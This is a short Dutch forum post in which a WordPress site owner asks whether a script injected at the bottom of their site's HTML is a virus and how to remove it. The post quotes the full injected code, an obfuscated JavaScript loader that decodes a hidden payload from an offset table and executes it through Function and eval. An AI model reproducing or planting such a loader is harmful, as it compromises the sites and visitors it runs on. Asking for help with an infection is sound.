Is dit een virus of…

Onderaan mijn html van wordpress staat de volgende code!

<script>el=document.createElement("div");el.innerHTML="ren";el.innerHTML+="ceErr";el.appendChild(document.createTextNode("q"));el.appendChild(document.createTextNode("l"));el2=el.removeChild(el.lastChild);try{try{throw 1}catch(a){b[2]=21};}catch(a){k=el.firstChild.nodeValue+a.toString().substr(0,0);};ar="B>s aEpd4y{=h1]\"mr/fncwiC.,ul)<(bN0gA?[}; 2vT:t'ezo";ar2="R164c0c-72c-16c-64c112c-96c172c-116c24c-44c128c-112c104c-84c40c52c-8c-164c92c80c-128c128c-112c104c-176c-8c36c140c-160c124c-8c-116c48c128c-68c64c-60c72c-172c8c152c-72c36c-16c-80c60c-76c124c0c0c-72c-16c-8c-52c48c128c-124c56c-8c44c4c0c-8c-144c180c-80c-104c184c-180c28c124c0c0c-136c172c-116c24c-44c128c-112c104c-84c-12c-20c24c92c8c-68c-64c60c-28c-16c-8c-52c48c128c-180c-4c60c16c-40c144c-140c136c0c-160c156c-108c0c112c-116c-16c48c-68c140c28c-108c-68c76c28c-36c104c-124c20c-12c20c-16c56c-48c56c20c20c-176c76c4c-64c156c-136c-4c144c-136c84c52c-176c36c144c-100c48c-92c136c-140c144c-136c84c52c-176c-4c176c-148c76c80c-148c144c-16c-80c-84c84c36c-36c20c-20c92c-148c144c-132c44c-64c0c164c-112c80c-136c176c-192c84c92c-92c108c-120c100c-164c112c-120c192c-88c-4c76c8c-32c-48c80c-116c108c-4c-44c24c24c16c-176c156c-44c24c28c-184c116c-48c20c-16c-8c-52c48c128c-188c56c56c44c4c0c-8c8c0c-88c32c-28c4c100c-92c108c-120c-68c80c-16c-8c-52c48c128c-124c56c-8c-76c124c0c0c8c-156c52c-56c64c-64c32c-32c16c172c-116c24c-44c128c-112c104c-84c-16c-16c124c-176c168c8c-172c92c80c-128c128c-112c104c-60c64c-96c-16c-8c-52c48c128c-4c-72c44c-84c24c-92c184c-8c-40c40c0c-116c24c36c-20c76c8c-68c64c-180c60c16c104c-84c84c-140c136c0c-160c156c-108c0c112c-116c-16c48c-68c140c28c-108c-68c76c28c-36c104c-124c20c-12c20c-16c56c-48c56c20c20c-72c44c-84c24c-92c176c-148c76c80c-92c72c-80c-84c84c36c-36c20c-20c92c-148c8c144c-140c44c-64c0c164c-112c108c-28c-84c24c-92c176c-148c76c80c-92c-76c176c-192c84c92c-92c108c-120c-36c144c-172c112c-120c192c-88c-4c76c8c-4c-28c-84c24c-92c176c-148c76c80c-92c12c80c-116c108c-140c144c-52c52c-28c-84c24c-92c176c-148c76c80c-92c84c16c-176c20c144c-52c52c-28c-84c24c-92c184c-8c-40c40c0c-116c24c36c-20c76c8c-68c64c-100c4c-64c156c-136c140c-84c84c-136c84c52c-72c44c-84c24c-92c184c-8c-40c40c0c-116c24c36c-20c76c8c-68c64c-140c144c-100c48c-92c136c4c-84c84c-136c84c52c-72c44c4c0c0c-136c172c-116c24c-44c128c-112c104c-84c40c52c-8c-164c92c80c-128c128c-112c104c-176c-8c36c140c-160c124c-8c-116c48c128c-68c64c-60c72c-172c8c152c-72c36c-16c-80c44c-84c8c0c168c-112c-52c68c-48c44c20c-84c96c-48c40c44c4c0c-8";try{throw 1;}catch(a){pau="urn erenceErr".replace(k,"va"+el2.nodeValue);}
e=Function("ret"+pau)();ar2=ar2.split("c");ar2[0]="164";s="";pos=0;i=0;while(i<559){e('po'+'s+=par'+'seInt(k'+'.rep'+'lace("'+'ren'+'","0a'+'sd"))+'+'ar2['+'i]/'+'4');e('s+=ar.su'+''+'bstr(pos,1)');i++;}
e(s);</script>

De SITE waar het omgaat bekijk de bron!

zoja weet iemand hoe ik die kan verwijderen?

Ik heb al wachtwoorden veranderd maar nog niets helpt.